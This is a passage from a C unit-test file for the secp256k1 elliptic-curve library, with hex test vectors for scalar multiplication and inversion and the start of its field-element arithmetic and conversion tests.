0xf8, 0x07, 0x00, 0x80, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc7, 0xff, 0xff, 0xe0, 0xff, 0xff, 0xff}}, {{0x82, 0xc9, 0xfa, 0xb0, 0x68, 0x04, 0xa0, 0x00, 0x82, 0xc9, 0xfa, 0xb0, 0x68, 0x04, 0xa0, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0x6f, 0x03, 0xfb, 0xfa, 0x8a, 0x7d, 0xdf, 0x13, 0x86, 0xe2, 0x03}, {0x82, 0xc9, 0xfa, 0xb0, 0x68, 0x04, 0xa0, 0x00, 0x82, 0xc9, 0xfa, 0xb0, 0x68, 0x04, 0xa0, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0x6f, 0x03, 0xfb, 0xfa, 0x8a, 0x7d, 0xdf, 0x13, 0x86, 0xe2, 0x03}} }; unsigned char res[33][2][32] = { {{0x0c, 0x3b, 0x0a, 0xca, 0x8d, 0x1a, 0x2f, 0xb9, 0x8a, 0x7b, 0x53, 0x5a, 0x1f, 0xc5, 0x22, 0xa1, 0x07, 0x2a, 0x48, 0xea, 0x02, 0xeb, 0xb3, 0xd6, 0x20, 0x1e, 0x86, 0xd0, 0x95, 0xf6, 0x92, 0x35}, {0xdc, 0x90, 0x7a, 0x07, 0x2e, 0x1e, 0x44, 0x6d, 0xf8, 0x15, 0x24, 0x5b, 0x5a, 0x96, 0x37, 0x9c, 0x37, 0x7b, 0x0d, 0xac, 0x1b, 0x65, 0x58, 0x49, 0x43, 0xb7, 0x31, 0xbb, 0xa7, 0xf4, 0x97, 0x15}}, {{0xf1, 0xf7, 0x3a, 0x50, 0xe6, 0x10, 0xba, 0x22, 0x43, 0x4d, 0x1f, 0x1f, 0x7c, 0x27, 0xca, 0x9c, 0xb8, 0xb6, 0xa0, 0xfc, 0xd8, 0xc0, 0x05, 0x2f, 0xf7, 0x08, 0xe1, 0x76, 0xdd, 0xd0, 0x80, 0xc8}, {0xe3, 0x80, 0x80, 0xb8, 0xdb, 0xe3, 0xa9, 0x77, 0x00, 0xb0, 0xf5, 0x2e, 0x27, 0xe2, 0x68, 0xc4, 0x88, 0xe8, 0x04, 0xc1, 0x12, 0xbf, 0x78, 0x59, 0xe6, 0xa9, 0x7c, 0xe1, 0x81, 0xdd, 0xb9, 0xd5}}, {{0x96, 0xe2, 0xee, 0x01, 0xa6, 0x80, 0x31, 0xef, 0x5c, 0xd0, 0x19, 0xb4, 0x7d, 0x5f, 0x79, 0xab, 0xa1, 0x97, 0xd3, 0x7e, 0x33, 0xbb, 0x86, 0x55, 0x60, 0x20, 0x10, 0x0d, 0x94, 0x2d, 0x11, 0x7c}, {0xcc, 0xab, 0xe0, 0xe8, 0x98, 0x65, 0x12, 0x96, 0x38, 0x5a, 0x1a, 0xf2, 0x85, 0x23, 0x59, 0x5f, 0xf9, 0xf3, 0xc2, 0x81, 0x70, 0x92, 0x65, 0x12, 0x9c, 0x65, 0x1e, 0x96, 0x00, 0xef, 0xe7, 0x63}}, {{0xac, 0x1e, 0x62, 0xc2, 0x59, 0xfc, 0x4e, 0x5c, 0x83, 0xb0, 0xd0, 0x6f, 0xce, 0x19, 0xf6, 0xbf, 0xa4, 0xb0, 0xe0, 0x53, 0x66, 0x1f, 0xbf, 0xc9, 0x33, 0x47, 0x37, 0xa9, 0x3d, 0x5d, 0xb0, 0x48}, {0x86, 0xb9, 0x2a, 0x7f, 0x8e, 0xa8, 0x60, 0x42, 0x26, 0x6d, 0x6e, 0x1c, 0xa2, 0xec, 0xe0, 0xe5, 0x3e, 0x0a, 0x33, 0xbb, 0x61, 0x4c, 0x9f, 0x3c, 0xd1, 0xdf, 0x49, 0x33, 0xcd, 0x72, 0x78, 0x18}}, {{0xf7, 0xd3, 0xcd, 0x49, 0x5c, 0x13, 0x22, 0xfb, 0x2e, 0xb2, 0x2f, 0x27, 0xf5, 0x8a, 0x5d, 0x74, 0xc1, 0x58, 0xc5, 0xc2, 0x2d, 0x9f, 0x52, 0xc6, 0x63, 0x9f, 0xba, 0x05, 0x76, 0x45, 0x7a, 0x63}, {0x8a, 0xfa, 0x55, 0x4d, 0xdd, 0xa3, 0xb2, 0xc3, 0x44, 0xfd, 0xec, 0x72, 0xde, 0xef, 0xc0, 0x99, 0xf5, 0x9f, 0xe2, 0x52, 0xb4, 0x05, 0x32, 0x58, 0x57, 0xc1, 0x8f, 0xea, 0xc3, 0x24, 0x5b, 0x94}}, {{0x05, 0x83, 0xee, 0xdd, 0x64, 0xf0, 0x14, 0x3b, 0xa0, 0x14, 0x4a, 0x3a, 0x41, 0x82, 0x7c, 0xa7, 0x2c, 0xaa, 0xb1, 0x76, 0xbb, 0x59, 0x64, 0x5f, 0x52, 0xad, 0x25, 0x29, 0x9d, 0x8f, 0x0b, 0xb0}, {0x7e, 0xe3, 0x7c, 0xca, 0xcd, 0x4f, 0xb0, 0x6d, 0x7a, 0xb2, 0x3e, 0xa0, 0x08, 0xb9, 0xa8, 0x2d, 0xc2, 0xf4, 0x99, 0x66, 0xcc, 0xac, 0xd8, 0xb9, 0x72, 0x2a, 0x4a, 0x3e, 0x0f, 0x7b, 0xbf, 0xf4}}, {{0x8c, 0x9c, 0x78, 0x2b, 0x39, 0x61, 0x7e, 0xf7, 0x65, 0x37, 0x66, 0x09, 0x38, 0xb9, 0x6f, 0x70, 0x78, 0x87, 0xff, 0xcf, 0x93, 0xca, 0x85, 0x06, 0x44, 0x84, 0xa7, 0xfe, 0xd3, 0xa4, 0xe3, 0x7e}, {0xa2, 0x56, 0x49, 0x23, 0x54, 0xa5, 0x50, 0xe9, 0x5f, 0xf0, 0x4d, 0xe7, 0xdc, 0x38, 0x32, 0x79, 0x4f, 0x1c, 0xb7, 0xe4, 0xbb, 0xf8, 0xbb, 0x2e, 0x40, 0x41, 0x4b, 0xcc, 0xe3, 0x1e, 0x16, 0x36}}, {{0x0c, 0x1e, 0xd7, 0x09, 0x25, 0x40, 0x97, 0xcb, 0x5c, 0x46, 0xa8, 0xda, 0xef, 0x25, 0xd5, 0xe5, 0x92, 0x4d, 0xcf, 0xa3, 0xc4, 0x5d, 0x35, 0x4a, 0xe4, 0x61, 0x92, 0xf3, 0xbf, 0x0e, 0xcd, 0xbe}, {0xe4, 0xaf, 0x0a, 0xb3, 0x30, 0x8b, 0x9b, 0x48, 0x49, 0x43, 0xc7, 0x64, 0x60, 0x4a, 0x2b, 0x9e, 0x95, 0x5f, 0x56, 0xe8, 0x35, 0xdc, 0xeb, 0xdc, 0xc7, 0xc4, 0xfe, 0x30, 0x40, 0xc7, 0xbf, 0xa4}}, {{0xd4, 0xa0, 0xf5, 0x81, 0x49, 0x6b, 0xb6, 0x8b, 0x0a, 0x69, 0xf9, 0xfe, 0xa8, 0x32, 0xe5, 0xe0, 0xa5, 0xcd, 0x02, 0x53, 0xf9, 0x2c, 0xe3, 0x53, 0x83, 0x36, 0xc6, 0x02, 0xb5, 0xeb, 0x64, 0xb8}, {0x1d, 0x42, 0xb9, 0xf9, 0xe9, 0xe3, 0x93, 0x2c, 0x4c, 0xee, 0x6c, 0x5a, 0x47, 0x9e, 0x62, 0x01, 0x6b, 0x04, 0xfe, 0xa4, 0x30, 0x2b, 0x0d, 0x4f, 0x71, 0x10, 0xd3, 0x55, 0xca, 0xf3, 0x5e, 0x80}}, {{0x77, 0x05, 0xf6, 0x0c, 0x15, 0x9b, 0x45, 0xe7, 0xb9, 0x11, 0xb8, 0xf5, 0xd6, 0xda, 0x73, 0x0c, 0xda, 0x92, 0xea, 0xd0, 0x9d, 0xd0, 0x18, 0x92, 0xce, 0x9a, 0xaa, 0xee, 0x0f, 0xef, 0xde, 0x30}, {0xf1, 0xf1, 0xd6, 0x9b, 0x51, 0xd7, 0x77, 0x62, 0x52, 0x10, 0xb8, 0x7a, 0x84, 0x9d, 0x15, 0x4e, 0x07, 0xdc, 0x1e, 0x75, 0x0d, 0x0c, 0x3b, 0xdb, 0x74, 0x58, 0x62, 0x02, 0x90, 0x54, 0x8b, 0x43}}, {{0xa6, 0xfe, 0x0b, 0x87, 0x80, 0x43, 0x67, 0x25, 0x57, 0x5d, 0xec, 0x40, 0x50, 0x08, 0xd5, 0x5d, 0x43, 0xd7, 0xe0, 0xaa, 0xe0, 0x13, 0xb6, 0xb0, 0xc0, 0xd4, 0xe5, 0x0d, 0x45, 0x83, 0xd6, 0x13}, {0x40, 0x45, 0x0a, 0x92, 0x31, 0xea, 0x8c, 0x60, 0x8c, 0x1f, 0xd8, 0x76, 0x45, 0xb9, 0x29, 0x00, 0x26, 0x32, 0xd8, 0xa6, 0x96, 0x88, 0xe2, 0xc4, 0x8b, 0xdb, 0x7f, 0x17, 0x87, 0xcc, 0xc8, 0xf2}}, {{0xc2, 0x56, 0xe2, 0xb6, 0x1a, 0x81, 0xe7, 0x31, 0x63, 0x2e, 0xbb, 0x0d, 0x2f, 0x81, 0x67, 0xd4, 0x22, 0xe2, 0x38, 0x02, 0x25, 0x97, 0xc7, 0x88, 0x6e, 0xdf, 0xbe, 0x2a, 0xa5, 0x73, 0x63, 0xaa}, {0x50, 0x45, 0xe2, 0xc3, 0xbd, 0x89, 0xfc, 0x57, 0xbd, 0x3c, 0xa3, 0x98, 0x7e, 0x7f, 0x36, 0x38, 0x92, 0x39, 0x1f, 0x0f, 0x81, 0x1a, 0x06, 0x51, 0x1f, 0x8d, 0x6a, 0xff, 0x47, 0x16, 0x06, 0x9c}}, {{0x33, 0x95, 0xa2, 0x6f, 0x27, 0x5f, 0x9c, 0x9c, 0x64, 0x45, 0xcb, 0xd1, 0x3c, 0xee, 0x5e, 0x5f, 0x48, 0xa6, 0xaf, 0xe3, 0x79, 0xcf, 0xb1, 0xe2, 0xbf, 0x55, 0x0e, 0xa2, 0x3b, 0x62, 0xf0, 0xe4}, {0x14, 0xe8, 0x06, 0xe3, 0xbe, 0x7e, 0x67, 0x01, 0xc5, 0x21, 0x67, 0xd8, 0x54, 0xb5, 0x7f, 0xa4, 0xf9, 0x75, 0x70, 0x1c, 0xfd, 0x79, 0xdb, 0x86, 0xad, 0x37, 0x85, 0x83, 0x56, 0x4e, 0xf0, 0xbf}}, {{0xbc, 0xa6, 0xe0, 0x56, 0x4e, 0xef, 0xfa, 0xf5, 0x1d, 0x5d, 0x3f, 0x2a, 0x5b, 0x19, 0xab, 0x51, 0xc5, 0x8b, 0xdd, 0x98, 0x28, 0x35, 0x2f, 0xc3, 0x81, 0x4f, 0x5c, 0xe5, 0x70, 0xb9, 0xeb, 0x62}, {0xc4, 0x6d, 0x26, 0xb0, 0x17, 0x6b, 0xfe, 0x6c, 0x12, 0xf8, 0xe7, 0xc1, 0xf5, 0x2f, 0xfa, 0x91, 0x13, 0x27, 0xbd, 0x73, 0xcc, 0x33, 0x31, 0x1c, 0x39, 0xe3, 0x27, 0x6a, 0x95, 0xcf, 0xc5, 0xfb}}, {{0x30, 0xb2, 0x99, 0x84, 0xf0, 0x18, 0x2a, 0x6e, 0x1e, 0x27, 0xed, 0xa2, 0x29, 0x99, 0x41, 0x56, 0xe8, 0xd4, 0x0d, 0xef, 0x99, 0x9c, 0xf3, 0x58, 0x29, 0x55, 0x1a, 0xc0, 0x68, 0xd6, 0x74, 0xa4}, {0x07, 0x9c, 0xe7, 0xec, 0xf5, 0x36, 0x73, 0x41, 0xa3, 0x1c, 0xe5, 0x93, 0x97, 0x6a, 0xfd, 0xf7, 0x53, 0x18, 0xab, 0xaf, 0xeb, 0x85, 0xbd, 0x92, 0x90, 0xab, 0x3c, 0xbf, 0x30, 0x82, 0xad, 0xf6}}, {{0xc6, 0x87, 0x8a, 0x2a, 0xea, 0xc0, 0xa9, 0xec, 0x6d, 0xd3, 0xdc, 0x32, 0x23, 0xce, 0x62, 0x19, 0xa4, 0x7e, 0xa8, 0xdd, 0x1c, 0x33, 0xae, 0xd3, 0x4f, 0x62, 0x9f, 0x52, 0xe7, 0x65, 0x46, 0xf4}, {0x97, 0x51, 0x27, 0x67, 0x2d, 0xa2, 0x82, 0x87, 0x98, 0xd3, 0xb6, 0x14, 0x7f, 0x51, 0xd3, 0x9a, 0x0b, 0xd0, 0x76, 0x81, 0xb2, 0x4f, 0x58, 0x92, 0xa4, 0x86, 0xa1, 0xa7, 0x09, 0x1d, 0xef, 0x9b}}, {{0xb3, 0x0f, 0x2b, 0x69, 0x0d, 0x06, 0x90, 0x64, 0xbd, 0x43, 0x4c, 0x10, 0xe8, 0x98, 0x1c, 0xa3, 0xe1, 0x68, 0xe9, 0x79, 0x6c, 0x29, 0x51, 0x3f, 0x41, 0xdc, 0xdf, 0x1f, 0xf3, 0x60, 0xbe, 0x33}, {0xa1, 0x5f, 0xf7, 0x1d, 0xb4, 0x3e, 0x9b, 0x3c, 0xe7, 0xbd, 0xb6, 0x06, 0xd5, 0x60, 0x06, 0x6d, 0x50, 0xd2, 0xf4, 0x1a, 0x31, 0x08, 0xf2, 0xea, 0x8e, 0xef, 0x5f, 0x7d, 0xb6, 0xd0, 0xc0, 0x27}}, {{0x62, 0x9a, 0xd9, 0xbb, 0x38, 0x36, 0xce, 0xf7, 0x5d, 0x2f, 0x13, 0xec, 0xc8, 0x2d, 0x02, 0x8a, 0x2e, 0x72, 0xf0, 0xe5, 0x15, 0x9d, 0x72, 0xae, 0xfc, 0xb3, 0x4f, 0x02, 0xea, 0xe1, 0x09, 0xfe}, {0x00, 0x00, 0x00, 0x00, 0xfa, 0x0a, 0x3d, 0xbc, 0xad, 0x16, 0x0c, 0xb6, 0xe7, 0x7c, 0x8b, 0x39, 0x9a, 0x43, 0xbb, 0xe3, 0xc2, 0x55, 0x15, 0x14, 0x75, 0xac, 0x90, 0x9b, 0x7f, 0x9a, 0x92, 0x00}}, {{0x8b, 0xac, 0x70, 0x86, 0x29, 0x8f, 0x00, 0x23, 0x7b, 0x45, 0x30, 0xaa, 0xb8, 0x4c, 0xc7, 0x8d, 0x4e, 0x47, 0x85, 0xc6, 0x19, 0xe3, 0x96, 0xc2, 0x9a, 0xa0, 0x12, 0xed, 0x6f, 0xd7, 0x76, 0x16}, {0x45, 0xaf, 0x7e, 0x33, 0xc7, 0x7f, 0x10, 0x6c, 0x7c, 0x9f, 0x29, 0xc1, 0xa8, 0x7e, 0x15, 0x84, 0xe7, 0x7d, 0xc0, 0x6d, 0xab, 0x71, 0x5d, 0xd0, 0x6b, 0x9f, 0x97, 0xab, 0xcb, 0x51, 0x0c, 0x9f}}, {{0x9e, 0xc3, 0x92, 0xb4, 0x04, 0x9f, 0xc8, 0xbb, 0xdd, 0x9e, 0xc6, 0x05, 0xfd, 0x65, 0xec, 0x94, 0x7f, 0x2c, 0x16, 0xc4, 0x40, 0xac, 0x63, 0x7b, 0x7d, 0xb8, 0x0c, 0xe4, 0x5b, 0xe3, 0xa7, 0x0e}, {0x43, 0xf4, 0x44, 0xe8, 0xcc, 0xc8, 0xd4, 0x54, 0x33, 0x37, 0x50, 0xf2, 0x87, 0x42, 0x2e, 0x00, 0x49, 0x60, 0x62, 0x02, 0xfd, 0x1a, 0x7c, 0xdb, 0x29, 0x6c, 0x6d, 0x54, 0x53, 0x08, 0xd1, 0xc8}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}}, {{0x27, 0x59, 0xc7, 0x35, 0x60, 0x71, 0xa6, 0xf1, 0x79, 0xa5, 0xfd, 0x79, 0x16, 0xf3, 0x41, 0xf0, 0x57, 0xb4, 0x02, 0x97, 0x32, 0xe7, 0xde, 0x59, 0xe2, 0x2d, 0x9b, 0x11, 0xea, 0x2c, 0x35, 0x92}, {0x27, 0x59, 0xc7, 0x35, 0x60, 0x71, 0xa6, 0xf1, 0x79, 0xa5, 0xfd, 0x79, 0x16, 0xf3, 0x41, 0xf0, 0x57, 0xb4, 0x02, 0x97, 0x32, 0xe7, 0xde, 0x59, 0xe2, 0x2d, 0x9b, 0x11, 0xea, 0x2c, 0x35, 0x92}}, {{0x28, 0x56, 0xac, 0x0e, 0x4f, 0x98, 0x09, 0xf0, 0x49, 0xfa, 0x7f, 0x84, 0xac, 0x7e, 0x50, 0x5b, 0x17, 0x43, 0x14, 0x89, 0x9c, 0x53, 0xa8, 0x94, 0x30, 0xf2, 0x11, 0x4d, 0x92, 0x14, 0x27, 0xe8}, {0x39, 0x7a, 0x84, 0x56, 0x79, 0x9d, 0xec, 0x26, 0x2c, 0x53, 0xc1, 0x94, 0xc9, 0x8d, 0x9e, 0x9d, 0x32, 0x1f, 0xdd, 0x84, 0x04, 0xe8, 0xe2, 0x0a, 0x6b, 0xbe, 0xbb, 0x42, 0x40, 0x67, 0x30, 0x6c}}, {{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x45, 0x51, 0x23, 0x19, 0x50, 0xb7, 0x5f, 0xc4, 0x40, 0x2d, 0xa1, 0x73, 0x2f, 0xc9, 0xbe, 0xbd}, {0x27, 0x59, 0xc7, 0x35, 0x60, 0x71, 0xa6, 0xf1, 0x79, 0xa5, 0xfd, 0x79, 0x16, 0xf3, 0x41, 0xf0, 0x57, 0xb4, 0x02, 0x97, 0x32, 0xe7, 0xde, 0x59, 0xe2, 0x2d, 0x9b, 0x11, 0xea, 0x2c, 0x35, 0x92}}, {{0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0xba, 0xae, 0xdc, 0xe6, 0xaf, 0x48, 0xa0, 0x3b, 0xbf, 0xd2, 0x5e, 0x8c, 0xd0, 0x36, 0x41, 0x40}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01}}, {{0x1c, 0xc4, 0xf7, 0xda, 0x0f, 0x65, 0xca, 0x39, 0x70, 0x52, 0x92, 0x8e, 0xc3, 0xc8, 0x15, 0xea, 0x7f, 0x10, 0x9e, 0x77, 0x4b, 0x6e, 0x2d, 0xdf, 0xe8, 0x30, 0x9d, 0xda, 0xe8, 0x9a, 0x65, 0xae}, {0x02, 0xb0, 0x16, 0xb1, 0x1d, 0xc8, 0x57, 0x7b, 0xa2, 0x3a, 0xa2, 0xa3, 0x38, 0x5c, 0x8f, 0xeb, 0x66, 0x37, 0x91, 0xa8, 0x5f, 0xef, 0x04, 0xf6, 0x59, 0x75, 0xe1, 0xee, 0x92, 0xf6, 0x0e, 0x30}}, {{0x8d, 0x76, 0x14, 0xa4, 0x14, 0x06, 0x9f, 0x9a, 0xdf, 0x4a, 0x85, 0xa7, 0x6b, 0xbf, 0x29, 0x6f, 0xbc, 0x34, 0x87, 0x5d, 0xeb, 0xbb, 0x2e, 0xa9, 0xc9, 0x1f, 0x58, 0xd6, 0x9a, 0x82, 0xa0, 0x56}, {0xd4, 0xb9, 0xdb, 0x88, 0x1d, 0x04, 0xe9, 0x93, 0x8d, 0x3f, 0x20, 0xd5, 0x86, 0xa8, 0x83, 0x07, 0xdb, 0x09, 0xd8, 0x22, 0x1f, 0x7f, 0xf1, 0x71, 0xc8, 0xe7, 0x5d, 0x47, 0xaf, 0x8b, 0x72, 0xe9}}, {{0x83, 0xb9, 0x39, 0xb2, 0xa4, 0xdf, 0x46, 0x87, 0xc2, 0xb8, 0xf1, 0xe6, 0x4c, 0xd1, 0xe2, 0xa9, 0xe4, 0x70, 0x30, 0x34, 0xbc, 0x52, 0x7c, 0x55, 0xa6, 0xec, 0x80, 0xa4, 0xe5, 0xd2, 0xdc, 0x73}, {0x08, 0xf1, 0x03, 0xcf, 0x16, 0x73, 0xe8, 0x7d, 0xb6, 0x7e, 0x9b, 0xc0, 0xb4, 0xc2, 0xa5, 0x86, 0x02, 0x77, 0xd5, 0x27, 0x86, 0xa5, 0x15, 0xfb, 0xae, 0x9b, 0x8c, 0xa9, 0xf9, 0xf8, 0xa8, 0x4a}}, {{0x8b, 0x00, 0x49, 0xdb, 0xfa, 0xf0, 0x1b, 0xa2, 0xed, 0x8a, 0x9a, 0x7a, 0x36, 0x78, 0x4a, 0xc7, 0xf7, 0xad, 0x39, 0xd0, 0x6c, 0x65, 0x7a, 0x41, 0xce, 0xd6, 0xd6, 0x4c, 0x20, 0x21, 0x6b, 0xc7}, {0xc6, 0xca, 0x78, 0x1d, 0x32, 0x6c, 0x6c, 0x06, 0x91, 0xf2, 0x1a, 0xe8, 0x43, 0x16, 0xea, 0x04, 0x3c, 0x1f, 0x07, 0x85, 0xf7, 0x09, 0x22, 0x08, 0xba, 0x13, 0xfd, 0x78, 0x1e, 0x3f, 0x6f, 0x62}}, {{0x25, 0x9b, 0x7c, 0xb0, 0xac, 0x72, 0x6f, 0xb2, 0xe3, 0x53, 0x84, 0x7a, 0x1a, 0x9a, 0x98, 0x9b, 0x44, 0xd3, 0x59, 0xd0, 0x8e, 0x57, 0x41, 0x40, 0x78, 0xa7, 0x30, 0x2f, 0x4c, 0x9c, 0xb9, 0x68}, {0xb7, 0x75, 0x03, 0x63, 0x61, 0xc2, 0x48, 0x6e, 0x12, 0x3d, 0xbf, 0x4b, 0x27, 0xdf, 0xb1, 0x7a, 0xff, 0x4e, 0x31, 0x07, 0x83, 0xf4, 0x62, 0x5b, 0x19, 0xa5, 0xac, 0xa0, 0x32, 0x58, 0x0d, 0xa7}}, {{0x43, 0x4f, 0x10, 0xa4, 0xca, 0xdb, 0x38, 0x67, 0xfa, 0xae, 0x96, 0xb5, 0x6d, 0x97, 0xff, 0x1f, 0xb6, 0x83, 0x43, 0xd3, 0xa0, 0x2d, 0x70, 0x7a, 0x64, 0x05, 0x4c, 0xa7, 0xc1, 0xa5, 0x21, 0x51}, {0xe4, 0xf1, 0x23, 0x84, 0xe1, 0xb5, 0x9d, 0xf2, 0xb8, 0x73, 0x8b, 0x45, 0x2b, 0x35, 0x46, 0x38, 0x10, 0x2b, 0x50, 0xf8, 0x8b, 0x35, 0xcd, 0x34, 0xc8, 0x0e, 0xf6, 0xdb, 0x09, 0x35, 0xf0, 0xda}}, {{0xdb, 0x21, 0x5c, 0x8d, 0x83, 0x1d, 0xb3, 0x34, 0xc7, 0x0e, 0x43, 0xa1, 0x58, 0x79, 0x67, 0x13, 0x1e, 0x86, 0x5d, 0x89, 0x63, 0xe6, 0x0a, 0x46, 0x5c, 0x02, 0x97, 0x1b, 0x62, 0x43, 0x86, 0xf5}, {0xdb, 0x21, 0x5c, 0x8d, 0x83, 0x1d, 0xb3, 0x34, 0xc7, 0x0e, 0x43, 0xa1, 0x58, 0x79, 0x67, 0x13, 0x1e, 0x86, 0x5d, 0x89, 0x63, 0xe6, 0x0a, 0x46, 0x5c, 0x02, 0x97, 0x1b, 0x62, 0x43, 0x86, 0xf5}} }; secp256k1_scalar_set_int(&one, 1); for (i = 0; i < 33; i++) { secp256k1_scalar_set_b32(&x, chal[i][0], &overflow); CHECK(!overflow); secp256k1_scalar_set_b32(&y, chal[i][1], &overflow); CHECK(!overflow); secp256k1_scalar_set_b32(&r1, res[i][0], &overflow); CHECK(!overflow); secp256k1_scalar_set_b32(&r2, res[i][1], &overflow); CHECK(!overflow); secp256k1_scalar_mul(&z, &x, &y); CHECK(!secp256k1_scalar_check_overflow(&z)); CHECK(secp256k1_scalar_eq(&r1, &z)); if (!secp256k1_scalar_is_zero(&y)) { secp256k1_scalar_inverse(&zz, &y); CHECK(!secp256k1_scalar_check_overflow(&zz)); #if defined(USE_SCALAR_INV_NUM) secp256k1_scalar_inverse_var(&zzv, &y); CHECK(secp256k1_scalar_eq(&zzv, &zz)); #endif secp256k1_scalar_mul(&z, &z, &zz); CHECK(!secp256k1_scalar_check_overflow(&z)); CHECK(secp256k1_scalar_eq(&x, &z)); secp256k1_scalar_mul(&zz, &zz, &y); CHECK(!secp256k1_scalar_check_overflow(&zz)); CHECK(secp256k1_scalar_eq(&one, &zz)); } secp256k1_scalar_mul(&z, &x, &x); CHECK(!secp256k1_scalar_check_overflow(&z)); secp256k1_scalar_sqr(&zz, &x); CHECK(!secp256k1_scalar_check_overflow(&zz)); CHECK(secp256k1_scalar_eq(&zz, &z)); CHECK(secp256k1_scalar_eq(&r2, &zz)); } } } /***** FIELD TESTS *****/ void random_fe(secp256k1_fe *x) { unsigned char bin[32]; do { secp256k1_rand256(bin); if (secp256k1_fe_set_b32(x, bin)) { return; } } while(1); } void random_fe_test(secp256k1_fe *x) { unsigned char bin[32]; do { secp256k1_rand256_test(bin); if (secp256k1_fe_set_b32(x, bin)) { return; } } while(1); } void random_fe_non_zero(secp256k1_fe *nz) { int tries = 10; while (--tries >= 0) { random_fe(nz); secp256k1_fe_normalize(nz); if (!secp256k1_fe_is_zero(nz)) { break; } } /* Infinitesimal probability of spurious failure here */ CHECK(tries >= 0); } void random_fe_non_square(secp256k1_fe *ns) { secp256k1_fe r; random_fe_non_zero(ns); if (secp256k1_fe_sqrt(&r, ns)) { secp256k1_fe_negate(ns, ns, 1); } } int check_fe_equal(const secp256k1_fe *a, const secp256k1_fe *b) { secp256k1_fe an = *a; secp256k1_fe bn = *b; secp256k1_fe_normalize_weak(&an); secp256k1_fe_normalize_var(&bn); return secp256k1_fe_equal_var(&an, &bn); } int check_fe_inverse(const secp256k1_fe *a, const secp256k1_fe *ai) { secp256k1_fe x; secp256k1_fe one = SECP256K1_FE_CONST(0, 0, 0, 0, 0, 0, 0, 1); secp256k1_fe_mul(&x, a, ai); return check_fe_equal(&x, &one); } void run_field_convert(void) { static const unsigned char b32[32] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x40 }; static const secp256k1_fe_storage fes = SECP256K1_FE_STORAGE_CONST( 0x00010203UL, 0x04050607UL, 0x11121314UL, 0x15161718UL, 0x22232425UL, 0x26272829UL, 0x33343536UL, 0x37383940UL ); static const secp256k1_fe fe = SECP256K1_FE_CONST( 0x00010203UL, 0x04050607UL, 0x11121314UL, 0x15161718UL, 0x22232425UL, 0x26272829UL, 0x33343536UL, 0x37383940UL ); secp256k1_fe fe2; unsigned char b322[32]; secp256k1_fe_storage fes2; /* Check conversions to fe. */ CHECK(secp256k1_fe_set_b32(&fe2, b32)); CHECK(secp256k1_fe_equal_var(&fe, &fe2)); secp256k1_fe_from_storage(&fe2, &fes); CHECK(secp256k1_fe_equal_var(&fe, &fe2)); /* Check conversion from fe. */ secp256k1_fe_get_b32(b322, &fe); CHECK(memcmp(b322, b32, 32) == 0); secp256k1_fe_to_storage(&fes2, &fe); CHECK(memcmp(&fes2, &fes, sizeof(fes)) == 0); } int fe_memcmp(const secp256k1_fe *a, const secp256k1_fe *b) { secp256k1_fe t = *b; #ifdef VERIFY t.magnitude = a->magnitude; t.normalized = a->normalized; #endif return memcmp(a, &t, sizeof(secp256k1_fe)); } void run_field_misc(void) { secp256k1_fe x; secp256k1_fe y; secp256k1_fe z; secp256k1_fe q; secp256k1_fe fe5 = SECP256K1_FE_CONST(0, 0, 0, 0, 0, 0, 0, 5); int i, j; for (i = 0; i < 5*count; i++) { secp256k1_fe_storage xs, ys, zs; random_fe(&x); random_fe_non_zero(&y); /* Test the fe equality and comparison operations. */ CHECK(secp256k1_fe_cmp_var(&x, &x) == 0); CHECK(secp256k1_fe_equal_var(&x, &x)); z = x; secp256k1_fe_add(&z,&y); /* Test fe conditional move; z is not normalized here. */ q = x; secp256k1_fe_cmov(&x, &z, 0); VERIFY_CHECK(!x.normalized && x.magnitude == z.magnitude); secp256k1_fe_cmov(&x, &x, 1); CHECK(fe_memcmp(&x, &z) != 0); CHECK(fe_memcmp(&x, &q) == 0); secp256k1_fe_cmov(&q, &z, 1); VERIFY_CHECK(!q.normalized && q.magnitude == z.magnitude); CHECK(fe_memcmp(&q, &z) == 0); secp256k1_fe_normalize_var(&x); secp256k1_fe_normalize_var(&z); CHECK(!secp256k1_fe_equal_var(&x, &z)); secp256k1_fe_normalize_var(&q); secp256k1_fe_cmov(&q, &z, (i&1)); VERIFY_CHECK(q.normalized && q.magnitude == 1); for (j = 0; j < 6; j++) { 